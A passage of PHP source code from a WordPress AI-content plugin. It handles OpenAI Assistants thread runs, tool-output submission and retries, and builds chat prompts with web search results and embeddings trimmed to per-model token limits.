                                if($embed_rez['data'] != 'No results found' && $embed_rez['data'] != 'No data returned' && $embed_rez['data'] != 'No embeddings are added in the plugin config!')
                                {
                                    aiomatic_log_to_file('Embeddings failed for assistant: ' . print_r($embed_rez, true));
                                }
                            }
                            else
                            {
                                $content = $embed_rez['data'] . '\n' . $content;
                            }
                        }
                        $last_message = false;
                        try
                        {
                            if (empty($thread_id)) 
                            {
                                $assistant_first_message = '';
                                if(!empty($local_assistant_id))
                                {
                                    $assistant_first_message = get_post_meta($local_assistant_id, '_assistant_first_message', true);
                                }
                                if(!empty($assistant_first_message))
                                {
                                    $simulate_conv = array();
                                    $simulate_conv[] = array("role" => 'assistant', "content" => $assistant_first_message);
                                }
                                else
                                {
                                    $simulate_conv = [];
                                }
                                $thread = aiomatic_openai_create_thread($token, $simulate_conv, $file_data);
                                if(!isset($thread['id']))
                                {
                                    throw new Exception('Invalid thread format: ' . print_r($thread, true));
                                }
                                $thread_id = $thread['id'];
                            }
                        }
                        catch(Exception $e)
                        {
                            throw new Exception('Failed to create thread: ' . $e->getMessage());
                        }
                        $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false);
                        $stop = null;
                        $session = aiomatic_get_session_id();
                        $mode = 'text';
                        $maxResults = 1;
                        $temperature = 1;
                        $max_tokens = aiomatic_get_max_tokens($model);
                        if(aiomatic_check_if_available_token_recalc_needed($model, $aiomatic_Main_Settings))
                        {
                            $prompt_tokens = count(aiomatic_encode($content));
                            $available_tokens = $max_tokens - $prompt_tokens;
                        }
                        else
                        {
                            $available_tokens = $max_tokens;
                        }
                        $query = new Aiomatic_Query($content, $available_tokens, $model, $temperature, $stop, $env, $mode, $token, $session, $maxResults, '', $assistant_id);
                        $ok = apply_filters( 'aiomatic_ai_allowed', true, $aiomatic_Limit_Settings );
                        if ( $ok !== true ) {
                            throw new Exception($ok);
                        }
                        if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on' && AIOMATIC_IS_DEBUG === true)
                        {
                            aiomatic_log_to_file('Generating chat AI text using assistant: ' . $assistant_id . ' and prompt: ' . $content);
                        }
                        $delay = '';
                        if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') 
                        {
                            if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false)
                            {
                                $tempo = explode(',', $aiomatic_Main_Settings['request_delay']);
                                if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0])))
                                {
                                    $delay = rand(trim($tempo[0]), trim($tempo[1]));
                                }
                            }
                            else
                            {
                                if(is_numeric(trim($aiomatic_Main_Settings['request_delay'])))
                                {
                                    $delay = intval(trim($aiomatic_Main_Settings['request_delay']));
                                }
                            }
                        }
                        if($delay != '' && is_numeric($delay))
                        {
                            usleep(intval($delay) * 1000);
                        }
                        
                        try
                        {
                            $message = aiomatic_openai_create_message($token, $thread_id, $role, $content, null, $vision_file);
                            if(!isset($message['id']))
                            {
                                throw new Exception('Invalid message format: ' . print_r($message, true));
                            }
                        }
                        catch(Exception $e)
                        {
                            throw new Exception('Failed to create message: ' . $e->getMessage());
                        }
                        if($stream === false)
                        {
                            try
                            {
                                $run = aiomatic_openai_create_run($token, $thread_id, $assistant_id);
                                if(!isset($run['id']))
                                {
                                    throw new Exception('Invalid run format: ' . print_r($run, true));
                                }
                                $run_id = $run['id'];
                            }
                            catch(Exception $e)
                            {
                                throw new Exception('Failed to run thread: ' . $e->getMessage());
                            }
                            try
                            {
                                if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                                {
                                    $timeout = intval($aiomatic_Main_Settings['max_timeout']);
                                }
                                else
                                {
                                    $timeout = 300;
                                }
                                $start_time = time();
                                do 
                                {
                                    $run_status = aiomatic_openai_retrieve_run($token, $thread_id, $run_id);
                                    if(!isset($run_status['id']))
                                    {
                                        throw new Exception('Invalid run_status format: ' . print_r($run_status, true));
                                    }
                                    if ($run_status['status'] === 'requires_action' && $run_status['required_action']['type'] === 'submit_tool_outputs') 
                                    {
                                        $last_message_tool = '';
                                        try
                                        {
                                            $tool_outputs = aiomatic_call_required_tool($run_status['required_action']);
                                        }
                                        catch(Exception $e)
                                        {
                                            throw new Exception('Failed to call required tool: ' . $e->getMessage());
                                        }
                                        foreach($tool_outputs as $jinx => $to)
                                        {
                                            if(isset($to['echo']))
                                            {
                                                $last_message_tool .= $to['echo'] . ' ';
                                                unset($to['echo']);
                                            }
                                        }
                                        $last_message_tool = trim($last_message_tool);
                                        if(!empty($last_message_tool))
                                        {
                                            $last_message_tool_ret = array();
                                            $last_message_tool_ret['content'][0]['text']['value'] = $last_message_tool;
                                            return $last_message_tool_ret;
                                        }
                                        $run_status = aiomatic_openai_submit_tool_outputs_to_run($token, $thread_id, $run_id, $tool_outputs);
                                    }
                                    if($run_status['status'] !== 'completed' && $run_status['status'] !== 'failed')
                                    {
                                        $now_time = time();
                                        if($start_time + $timeout < $now_time)
                                        {
                                            throw new Exception('Timeout in retrive run polling (s): ' . $timeout);
                                        }
                                        sleep(1);
                                    }
                                } while ($run_status['status'] !== 'completed' && $run_status['status'] !== 'failed');
                            }
                            catch(Exception $e)
                            {
                                throw new Exception('Failed to poll thread: ' . $e->getMessage());
                            }
                            if ($run_status['status'] === 'completed') 
                            {
                                try
                                {
                                    $messages = aiomatic_openai_list_messages($token, $thread_id);
                                    if(!isset($messages['data'][0]['id']))
                                    {
                                        throw new Exception('Invalid messages format: ' . print_r($messages, true));
                                    }
                                }
                                catch(Exception $e)
                                {
                                    throw new Exception('Failed to get message: ' . $e->getMessage());
                                }
                                $last_message = reset($messages['data']);
                                $last_message = apply_filters( 'aiomatic_ai_reply_raw', $last_message, $content );
                                apply_filters( 'aiomatic_ai_reply', $last_message, $query );
                                if($count_vision)
                                {
                                    $stats = [
                                        "env" => $query->env,
                                        "session" => $query->session,
                                        "mode" => 'image',
                                        "model" => $query->model,
                                        "apiRef" => $query->apiKey,
                                        "units" => 1,
                                        "type" => 'images',
                                    ];
                                    if (empty($stats["price"])) {
                                        if (aiomatic_is_aiomaticapi_key($query->apiKey)) {
                                            $stats["price"] = 0;
                                        } else {
                                            $stats["price"] = $GLOBALS['aiomatic_stats']->getVisionPrice($query->model);
                                        }
                                    }
                                    $GLOBALS['aiomatic_stats']->add($stats);
                                }
                                return $last_message;
                            } 
                            else 
                            {
                                throw new Exception('Run failed or did not complete. ' . print_r($run_status, true));
                            }
                        }
                        else
                        {
                            try
                            {
                                aiomatic_openai_create_stream_run($token, $thread_id, $assistant_id);
                                $last_message = '';
                            }
                            catch(Exception $e)
                            {
                                throw new Exception('Failed to run thread: ' . $e->getMessage());
                            }
                        }
                    }
                    else
                    {
                        try
                        {
                            $run_id = '';
                            $tool_outputs = array();
                            if(is_array($function_result))
                            {
                                foreach($function_result as $fr)
                                {
                                    if(isset($fr['run_id']))
                                    {
                                        $run_id = $fr['run_id'];
                                    }
                                    if(isset($fr['thread_id']))
                                    {
                                        $thread_id = $fr['thread_id'];
                                    }
                                    $tool_outputs[] = [
                                        'tool_call_id' => $fr['tool_call_id'], 
                                        'output' => $fr['content']
                                    ];
                                }
                            }
                            if(empty($tool_outputs))
                            {
                                throw new Exception('Failed to get results: ' . print_r($function_result, true));
                            }
                            if(empty($run_id))
                            {
                                throw new Exception('Failed to get run_id: ' . print_r($function_result, true));
                            }
                            if(empty($thread_id))
                            {
                                throw new Exception('Failed to get thread_id: ' . print_r($function_result, true));
                            }
                            aiomatic_openai_submit_tool_outputs_to_stream_run($token, $thread_id, $run_id, $tool_outputs);
                            $last_message = '';
                        }
                        catch(Exception $e)
                        {
                            throw new Exception('Failed to run thread: ' . $e->getMessage());
                        }
                    }
                }
                catch(Exception $e)
                {
                    $is_error = true;
                    if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                    {
                        aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') assistants API call after failure: ' . $e->getMessage());
                        sleep(pow(2, $retry_count));
                        try
                        {
                            $last_message = aiomatic_generate_text_assistant($token, $assistant_id, $local_assistant_id, $role, $content, $thread_id, $no_internet, $no_embeddings, $env, $retry_count + 1, $embedding_namespace, $stream, $function_result, $vision_file, $file_data);
                            $is_error = false;
                        }
                        catch(Exception $e)
                        {
                            aiomatic_log_to_file('Failed to generate text using Assistants API for retry (' . $retry_count . ': ' . $e->getMessage());
                        }
                    }
                    if($is_error === true)
                    {
                        throw $e;
                    }
                }
                return $last_message;
            }
            function aiomatic_convertIntToStrings($array)
            {
                if(!is_array($array))
                {
                    return $array;
                }
                foreach ($array as &$value) 
                {
                    if (is_int($value)) 
                    {
                        $value = (string) $value;
                    } 
                    elseif (is_array($value)) 
                    {
                        $value = aiomatic_convertIntToStrings($value);
                    }
                }
                unset($value);
                return $array;
            }
            function aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, $retry_count, &$finish_reason, &$error, $no_internet = false, $no_embeddings = false, $functions = false, $stream = false, $vision_file = '', $dont_add_vision = false, $user_question = '', $embedding_namespace = '', $function_result = '', $dump_result = false)
            {
                if(!is_array($aicontent))
                {
                    $error = 'Only arrays are supported for chat text: ' . $aicontent;
                    return false;
                }
                if(empty($aicontent))
                {
                    $error = 'Empty array submitted to AI chat';
                    return false;
                }
                $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false);
                $embeddings_enabled = false;
                $internet_enabled = false;
                $max_tokens = aiomatic_get_max_tokens($model);
                aiomatic_get_internet_embeddings_result($aiomatic_Main_Settings, $env, $embeddings_enabled, $internet_enabled);
                $aitext = '';
                if(!empty($function_result) && $function_result != 'disabled')
                {
                    if($is_chat)
                    {
                        remove_filter('aiomatic_ai_functions', 'aiomatic_add_god_mode', 999);
                        $functions = apply_filters('aiomatic_ai_functions', false);
                    }
                }
                if(!empty($function_result) && is_array($function_result))
                {
                    $already_added = false;
                    foreach($function_result as $find => $fr)
                    {
                        if(isset($fr['assistant_message']) && !empty($fr['assistant_message']))
                        {
                            $objectJson = json_encode($fr['assistant_message']);
                            $associativeArray = json_decode($objectJson, true);
                            if($associativeArray !== null)
                            {
                                $associativeArray = aiomatic_convertIntToStrings($associativeArray);
                                for($j = 0; $j < count($associativeArray['tool_calls']); $j++)
                                {
                                    if(isset($associativeArray['tool_calls'][$j]['function']['arguments']))
                                    {
                                        $associativeArray['tool_calls'][$j]['function']['arguments'] = json_encode($associativeArray['tool_calls'][$j]['function']['arguments']);
                                    }
                                }
                                if(!$already_added)
                                {
                                    $already_added = true;
                                    $aicontent[] = $associativeArray;
                                }
                            }
                            unset($function_result[$find]['assistant_message']);
                            unset($fr['assistant_message']);
                        }
                        elseif(isset($fr['assistant_message']) && empty($fr['assistant_message']))
                        {
                            unset($function_result[$find]['assistant_message']);
                            unset($fr['assistant_message']);
                        }
                        $aicontent[] = aiomatic_convertIntToStrings($fr);
                    }
                }
                foreach($aicontent as $aimess)
                {
                    if(isset($aimess['content']))
                    {
                        if(!is_array($aimess['content']))
                        {
                            $aitext .= $aimess['content'] . '\n';
                        }
                        else
                        {
                            foreach($aimess['content'] as $internalmess)
                            {
                                if($internalmess['type'] == 'text')
                                {
                                    $aitext .= $internalmess['text'] . '\n';
                                }
                            }
                        }
                    }
                }
                $aitext = rtrim($aitext);
                $prompt_modified = false;
                if($no_internet !== true && $internet_enabled == true)
                {
                    if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                    {
                        aiomatic_log_to_file('Getting internet search results for chat');
                    }
                    $internet_prompt = '';
                    if(isset($aiomatic_Main_Settings['internet_prompt']) && $aiomatic_Main_Settings['internet_prompt'] != '')
                    {
                        $internet_prompt = $aiomatic_Main_Settings['internet_prompt'];
                    }
                    if(stristr($internet_prompt, '%%web_results%%') === false)
                    {
                        $internet_prompt .= ' %%web_results%%';
                    }
                    if(empty($user_question))
                    {
                        if(is_array($aicontent))
                        {
                            $lastindex = end(array_keys($aicontent));
                            if(isset($aicontent[$lastindex]['content']))
                            {
                                $user_question = $aicontent[$lastindex]['content'];
                            }
                        }
                    }
                    $locale = '';
                    if (isset($aiomatic_Main_Settings['internet_gl']) && $aiomatic_Main_Settings['internet_gl'] != '')
                    {
                        $locale = $aiomatic_Main_Settings['internet_gl'];
                    }
                    $internet_rez = aiomatic_internet_result($user_question, false, $locale);
                    shuffle($internet_rez);
                    if (isset($aiomatic_Main_Settings['results_num']) && trim($aiomatic_Main_Settings['results_num']) != '')
                    {
                        $results = intval(trim($aiomatic_Main_Settings['results_num']));
                    }
                    else
                    {
                        $results = 3;
                    }
                    $gotcnt = 0;
                    $internet_results = '';
                    foreach($internet_rez as $emb)
                    {
                        if($gotcnt >= $results)
                        {
                            break;
                        }
                        if (isset($aiomatic_Main_Settings['internet_single_template']) && trim($aiomatic_Main_Settings['internet_single_template']) != '')
                        {
                            $internet_single_template = $aiomatic_Main_Settings['internet_single_template'];
                        }
                        else
                        {
                            $internet_single_template = '[%%result_counter%%]: %%result_title%% %%result_snippet%% ' . PHP_EOL . 'URL: %%result_link%%';
                        }
                        $internet_single_template = str_replace('%%result_counter%%', $gotcnt + 1, $internet_single_template);
                        $internet_single_template = str_replace('%%result_title%%', $emb['title'], $internet_single_template);
                        $internet_single_template = str_replace('%%result_snippet%%', $emb['snippet'], $internet_single_template);
                        $internet_single_template = str_replace('%%result_link%%', $emb['link'], $internet_single_template);
                        $internet_results .= $internet_single_template . PHP_EOL;
                        $gotcnt++;
                    }
                    if($internet_results == '')
                    {
                        if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on')
                        {
                            aiomatic_log_to_file('Internet search failed for chat, no data returned!');
                        }
                    }
                    else
                    {
                        if($internet_prompt != '')
                        {
                            $internet_prompt = str_ireplace('%%original_query%%', $aicontent[0]['content'], $internet_prompt);
                            $internet_prompt = str_ireplace('%%current_date%%', date('Y-m-d'), $internet_prompt);
                            $internet_prompt = str_ireplace('%%web_results%%', $internet_results, $internet_prompt);
                            if($internet_prompt != '')
                            {
                                $aicontent_copy = $aicontent;
                                $content_save = $aicontent_copy[0]['content'];
                                $aicontent_copy[0]['content'] = $internet_prompt . '\n' . $content_save;
                                $prompt_tokens = 0;
                                //check if there are enough tokens
                                foreach($aicontent_copy as $aimess)
                                {
                                    $prompt_tokens += count(aiomatic_encode($aimess['content'])) + count(aiomatic_encode($aimess['role']));
                                }
                                if(aiomatic_is_chatgpt_turbo_model($model) || aiomatic_is_chatgpt_o_model($model))
                                {
                                    if(isset($aiomatic_Main_Settings['gpt4_context_limit']) && $aiomatic_Main_Settings['gpt4_context_limit'] != '')
                                    {
                                        if($prompt_tokens > intval($aiomatic_Main_Settings['gpt4_context_limit']))
                                        {
                                            $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], $aiomatic_Main_Settings['gpt4_context_limit'], true);
                                            $aicontent = $aicontent_copy;
                                            $prompt_modified = true;
                                        }
                                        else
                                        {
                                            $aicontent = $aicontent_copy;
                                            $prompt_modified = true;
                                        }
                                    }
                                    elseif($prompt_tokens > aiomatic_get_max_input_tokens($model))
                                    {
                                        $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], aiomatic_get_max_input_tokens($model), true);
                                        $aicontent = $aicontent_copy;
                                        $prompt_modified = true;
                                    }
                                    else
                                    {
                                        $aicontent = $aicontent_copy;
                                        $prompt_modified = true;
                                    }
                                }
                                elseif(aiomatic_is_chatgpt35_16k_context_model($model))
                                {
                                    if(isset($aiomatic_Main_Settings['gpt35_context_limit']) && $aiomatic_Main_Settings['gpt35_context_limit'] != '')
                                    {
                                        if($prompt_tokens > intval($aiomatic_Main_Settings['gpt35_context_limit']))
                                        {
                                            $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], $aiomatic_Main_Settings['gpt35_context_limit'], true);
                                            $aicontent = $aicontent_copy;
                                            $prompt_modified = true;
                                        }
                                        else
                                        {
                                            $aicontent = $aicontent_copy;
                                            $prompt_modified = true;
                                        }
                                    }
                                    elseif($prompt_tokens > aiomatic_get_max_input_tokens($model))
                                    {
                                        $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], aiomatic_get_max_input_tokens($model), true);
                                        $aicontent = $aicontent_copy;
                                        $prompt_modified = true;
                                    }
                                    else
                                    {
                                        $aicontent = $aicontent_copy;
                                        $prompt_modified = true;
                                    }
                                }
                                elseif(aiomatic_is_claude_model_200k($model))
                                {
                                    if(isset($aiomatic_Main_Settings['claude_context_limit_200k']) && $aiomatic_Main_Settings['claude_context_limit_200k'] != '')
                                    {
                                        if($prompt_tokens > intval($aiomatic_Main_Settings['claude_context_limit_200k']))
                                        {
                                            $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], $aiomatic_Main_Settings['claude_context_limit_200k'], true);
                                            $aicontent = $aicontent_copy;
                                            $prompt_modified = true;
                                        }
                                        else
                                        {
                                            $aicontent = $aicontent_copy;
                                            $prompt_modified = true;
                                        }
                                    }
                                    elseif($prompt_tokens > aiomatic_get_max_input_tokens($model))
                                    {
                                        $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], aiomatic_get_max_input_tokens($model), true);
                                        $aicontent = $aicontent_copy;
                                        $prompt_modified = true;
                                    }
                                    else
                                    {
                                        $aicontent = $aicontent_copy;
                                        $prompt_modified = true;
                                    }
                                }
                                elseif(aiomatic_is_claude_model($model))
                                {
                                    if(isset($aiomatic_Main_Settings['claude_context_limit']) && $aiomatic_Main_Settings['claude_context_limit'] != '')
                                    {
                                        if($prompt_tokens > intval($aiomatic_Main_Settings['claude_context_limit']))
                                        {
                                            $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], $aiomatic_Main_Settings['claude_context_limit'], true);
                                            $aicontent = $aicontent_copy;
                                            $prompt_modified = true;
                                        }
                                        else
                                        {
                                            $aicontent = $aicontent_copy;
                                            $prompt_modified = true;
                                        }
                                    }
                                    elseif($prompt_tokens > aiomatic_get_max_input_tokens($model))
                                    {
                                        $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], aiomatic_get_max_input_tokens($model), true);
                                        $aicontent = $aicontent_copy;
                                        $prompt_modified = true;
                                    }
                                    else
                                    {
                                        $aicontent = $aicontent_copy;
                                        $prompt_modified = true;
                                    }
                                }
                                elseif(aiomatic_is_openrouter_model($model))
                                {
                                    if($prompt_tokens > aiomatic_get_max_input_tokens_openrouter($model))
                                    {
                                        $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], aiomatic_get_max_input_tokens_openrouter($model), true);
                                        $aicontent = $aicontent_copy;
                                        $prompt_modified = true;
                                    }
                                    else
                                    {
                                        $aicontent = $aicontent_copy;
                                        $prompt_modified = true;
                                    }
                                }
                                elseif(aiomatic_is_huggingface_model($model))
                                {
                                    if($prompt_tokens > MAX_HUGGINGFACE_TOKEN_COUNT)
                                    {
                                        $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], MAX_HUGGINGFACE_TOKEN_COUNT, true);
                                        $aicontent = $aicontent_copy;
                                        $prompt_modified = true;
                                    }
                                    else
                                    {
                                        $aicontent = $aicontent_copy;
                                        $prompt_modified = true;
                                    }
                                }
                                elseif(aiomatic_is_ollama_model($model))
                                {
                                    if($prompt_tokens > MAX_OLLAMA_TOKEN_COUNT)
                                    {
                                        $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], MAX_OLLAMA_TOKEN_COUNT, true);
                                        $aicontent = $aicontent_copy;
                                        $prompt_modified = true;
                                    }
                                    else
                                    {
                                        $aicontent = $aicontent_copy;
                                        $prompt_modified = true;
                                    }
                                }
                                elseif(aiomatic_is_perplexity_model($model))
                                {
                                    if($prompt_tokens > aiomatic_get_max_input_tokens_perplexity($model))
                                    {
                                        $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], aiomatic_get_max_input_tokens_perplexity($model), true);
                                        $aicontent = $aicontent_copy;
                                        $prompt_modified = true;
                                    }
                                    else
                                    {
                                        $aicontent = $aicontent_copy;
                                        $prompt_modified = true;
                                    }
                                }
                                else
                                {
                                    if($max_tokens - AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS > $prompt_tokens || aiomatic_is_new_token_window_model($model))
                                    {
                                        $aicontent = $aicontent_copy;
                                        $prompt_modified = true;
                                        if($prompt_tokens > aiomatic_get_max_input_tokens($model))
                                        {
                                            $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], aiomatic_get_max_input_tokens($model), true);
                                            $aicontent = $aicontent_copy;
                                            $prompt_modified = true;
                                            $prompt_tokens = 0;
                                            //check if there are enough tokens
                                            foreach($aicontent as $aimess)
                                            {
                                                $prompt_tokens += count(aiomatic_encode($aimess['content'])) + count(aiomatic_encode($aimess['role']));
                                            }
                                            if(aiomatic_check_if_available_token_recalc_needed($model, $aiomatic_Main_Settings))
                                            {
                                                $available_tokens = $max_tokens - $prompt_tokens;
                                            }
                                        }
                                        else
                                        {
                                            $aicontent = $aicontent_copy;
                                            $prompt_modified = true;
                                        }
                                    }
                                    else
                                    {
                                        if(strlen($internet_prompt) > 1000)
                                        {
                                            $internet_prompt = aiomatic_substr($internet_prompt, 0, 1000);
                                            $aicontent_copy[0]['content'] = $internet_prompt . '\n' . $aicontent_copy[0]['content'];
                                            $prompt_tokens = 0;
                                            //check if there are enough tokens
                                            foreach($aicontent_copy as $aimess)
                                            {
                                                $prompt_tokens += count(aiomatic_encode($aimess['content'])) + count(aiomatic_encode($aimess['role']));
                                            }
                                        }
                                        if($max_tokens - AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS > $prompt_tokens)
                                        {
                                            $aicontent = $aicontent_copy;
                                            $prompt_modified = true;
                                            $available_tokens = $max_tokens - $prompt_tokens;
                                        }
                                        else
                                        {
                                            if($max_tokens - 100 > $prompt_tokens)
                                            {
                                                $aicontent = $aicontent_copy;
                                                $prompt_modified = true;
                                                $available_tokens = $max_tokens - $prompt_tokens;
                                            }
                                            else
                                            {
                                                $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], $max_tokens, true);
                                                $aicontent = $aicontent_copy;
                                                $prompt_modified = true;
                                                $prompt_tokens = 0;
                                                //check if there are enough tokens
                                                foreach($aicontent_copy as $aimess)
                                                {
                                                    $prompt_tokens += count(aiomatic_encode($aimess['content'])) + count(aiomatic_encode($aimess['role']));
                                                }
                                                $available_tokens = $max_tokens - $prompt_tokens;
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
                if($no_embeddings !== true && $embeddings_enabled == true)
                {
                    if(empty($user_question))
                    {
                        $user_question = $aitext;
                    }
                    $embed_rez = aiomatic_embeddings_result($user_question, $token, $embedding_namespace);
                    if($embed_rez['status'] == 'error')
                    {
                        if($embed_rez['data'] != 'No results found' && $embed_rez['data'] != 'No data returned' && $embed_rez['data'] != 'No embeddings are added in the plugin config!')
                        {
                            aiomatic_log_to_file('Embeddings failed for chat: ' . print_r($embed_rez, true));
                        }
                    }
                    else
                    {
                        $prompt_tokens = 0;
                        $aicontent_copy = $aicontent;
                        $aicontent_copy[0]['content'] = $embed_rez['data'] . '\n' . $aicontent_copy[0]['content'];
                        $prompt_tokens = 0;
                        //check if there are enough tokens
                        foreach($aicontent_copy as $aimess)
                        {
                            $prompt_tokens += count(aiomatic_encode($aimess['content'])) + count(aiomatic_encode($aimess['role']));
                        }
                        if(aiomatic_is_chatgpt_turbo_model($model) || aiomatic_is_chatgpt_o_model($model))
                        {
                            if(isset($aiomatic_Main_Settings['gpt4_context_limit']) && $aiomatic_Main_Settings['gpt4_context_limit'] != '')
                            {
                                if($prompt_tokens > intval($aiomatic_Main_Settings['gpt4_context_limit']))
                                {
                                    $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], $aiomatic_Main_Settings['gpt4_context_limit'], true);
                                    $aicontent = $aicontent_copy;
                                    $prompt_modified = true;
                                }
                                else
                                {
                                    $aicontent = $aicontent_copy;
                                    $prompt_modified = true;
                                }
                            }
                            elseif($prompt_tokens > aiomatic_get_max_input_tokens($model))
                            {
                                $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], aiomatic_get_max_input_tokens($model), true);
                                $aicontent = $aicontent_copy;
                                $prompt_modified = true;
                            }
                            else
                            {
                                $aicontent = $aicontent_copy;
                                $prompt_modified = true;
                            }
                        }
                        elseif(aiomatic_is_chatgpt35_16k_context_model($model))
                        {
                            if(isset($aiomatic_Main_Settings['gpt35_context_limit']) && $aiomatic_Main_Settings['gpt35_context_limit'] != '')
                            {
                                if($prompt_tokens > intval($aiomatic_Main_Settings['gpt35_context_limit']))
                                {
                                    $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], $aiomatic_Main_Settings['gpt35_context_limit'], true);
                                    $aicontent = $aicontent_copy;
                                    $prompt_modified = true;
                                }
                                else
                                {
                                    $aicontent = $aicontent_copy;
                                    $prompt_modified = true;
                                }
                            }
                            elseif($prompt_tokens > aiomatic_get_max_input_tokens($model))
                            {
                                $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], aiomatic_get_max_input_tokens($model), true);
                                $aicontent = $aicontent_copy;
                                $prompt_modified = true;
                            }
                            else
                            {
                                $aicontent = $aicontent_copy;
                                $prompt_modified = true;
                            }
                        }
                        elseif(aiomatic_is_claude_model_200k($model))
                        {
                            if(isset($aiomatic_Main_Settings['claude_context_limit_200k']) && $aiomatic_Main_Settings['claude_context_limit_200k'] != '')
                            {
                                if($prompt_tokens > intval($aiomatic_Main_Settings['claude_context_limit_200k']))
                                {
                                    $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], $aiomatic_Main_Settings['claude_context_limit_200k'], true);
                                    $aicontent = $aicontent_copy;
                                    $prompt_modified = true;
                                }
                                else
                                {
                                    $aicontent = $aicontent_copy;
                                    $prompt_modified = true;
                                }
                            }
                            elseif($prompt_tokens > aiomatic_get_max_input_tokens($model))
                            {
                                $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], aiomatic_get_max_input_tokens($model), true);
                                $aicontent = $aicontent_copy;
                                $prompt_modified = true;
                            }
                            else
                            {
                                $aicontent = $aicontent_copy;
                                $prompt_modified = true;
                            }
                        }
                        elseif(aiomatic_is_claude_model($model))
                        {
                            if(isset($aiomatic_Main_Settings['claude_context_limit']) && $aiomatic_Main_Settings['claude_context_limit'] != '')
                            {
                                if($prompt_tokens > intval($aiomatic_Main_Settings['claude_context_limit']))
                                {
                                    $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], $aiomatic_Main_Settings['claude_context_limit'], true);
                                    $aicontent = $aicontent_copy;
                                    $prompt_modified = true;
                                }
                                else
                                {
                                    $aicontent = $aicontent_copy;
                                    $prompt_modified = true;
                                }
                            }
                            elseif($prompt_tokens > aiomatic_get_max_input_tokens($model))
                            {
                                $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], aiomatic_get_max_input_tokens($model), true);
                                $aicontent = $aicontent_copy;
                                $prompt_modified = true;
                            }
                            else
                            {
                                $aicontent = $aicontent_copy;
                                $prompt_modified = true;
                            }
                        }
                        elseif(aiomatic_is_openrouter_model($model))
                        {
                            if($prompt_tokens > aiomatic_get_max_input_tokens_openrouter($model))
                            {
                                $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], aiomatic_get_max_input_tokens_openrouter($model), true);
                                $aicontent = $aicontent_copy;
                                $prompt_modified = true;
                            }
                            else
                            {
                                $aicontent = $aicontent_copy;
                                $prompt_modified = true;
                            }
                        }
                        elseif(aiomatic_is_huggingface_model($model))
                        {
                            if($prompt_tokens > MAX_HUGGINGFACE_TOKEN_COUNT)
                            {
                                $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], MAX_HUGGINGFACE_TOKEN_COUNT, true);
                                $aicontent = $aicontent_copy;
                                $prompt_modified = true;
                            }
                            else
                            {
                                $aicontent = $aicontent_copy;
                                $prompt_modified = true;
                            }
                        }
                        elseif(aiomatic_is_ollama_model($model))
                        {
                            if($prompt_tokens > MAX_OLLAMA_TOKEN_COUNT)
                            {
                                $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], MAX_OLLAMA_TOKEN_COUNT, true);
                                $aicontent = $aicontent_copy;
                                $prompt_modified = true;
                            }
                            else
                            {
                                $aicontent = $aicontent_copy;
                                $prompt_modified = true;
                            }
                        }
                        elseif(aiomatic_is_perplexity_model($model))
                        {
                            if($prompt_tokens > aiomatic_get_max_input_tokens_perplexity($model))
                            {
                                $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], aiomatic_get_max_input_tokens_perplexity($model), true);
                                $aicontent = $aicontent_copy;
                                $prompt_modified = true;
                            }
                            else
                            {
                                $aicontent = $aicontent_copy;
                                $prompt_modified = true;
                            }
                        }
                        else
                        {
